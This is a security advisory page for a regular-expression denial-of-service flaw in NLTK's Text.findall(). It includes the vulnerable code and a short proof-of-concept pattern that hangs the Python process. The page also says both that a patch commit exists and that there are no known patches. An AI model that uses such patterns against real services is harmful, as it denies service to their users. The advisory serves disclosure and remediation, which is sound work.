Advisory details:
github_osv / GHSA-rrv8-h7p8-rx55
| Advisory ID | github_osv/GHSA-rrv8-h7p8-rx55 |
| Aliases |
CVE-2026-80205
|
| Summary | NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions ### Summary NLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit. ### Affected Code `nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620) `TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout: ```python def findall(self, regexp): # Preprocessing does NOT prevent catastrophic backtracking regexp = re.sub(r"\s", "", regexp) regexp = re.sub(r"<", "(?:<(?:", regexp) regexp = re.sub(r">", ")>)", regexp) regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp) # User-controlled regexp executed with no timeout hits = re.findall(regexp, self._raw) ``` The preprocessing transforms `<` and `>` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns. ### Proof of Concept ```python import nltk import time # Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>" # The trailing '!' ensures no match, forcing full backtracking. text = nltk.Text(["a" * 25 + "!"]) # Pattern after transformation: # < → (?:<(?: # > → )>) # Becomes: (?:<(?:((a+)+)b)>) # re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs. start = time.time() text.findall(r"<((a+)+)b>") # Never returns ``` ### Impact Applications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process. ### Remediation This vulnerability was patched in commit `d8e4753`. Users should update to the patched version. ### Credit Tool: Kira by [Offgrid Security](https://www.offgridsec.com) |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.8 |
| Risk | 3.9 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-rrv8-h7p8-rx55/GHSA-rrv8-h7p8-rx55.json |
| cvssv4 | 8.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-rrv8-h7p8-rx55/GHSA-rrv8-h7p8-rx55.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
There are no SSVC decisions available.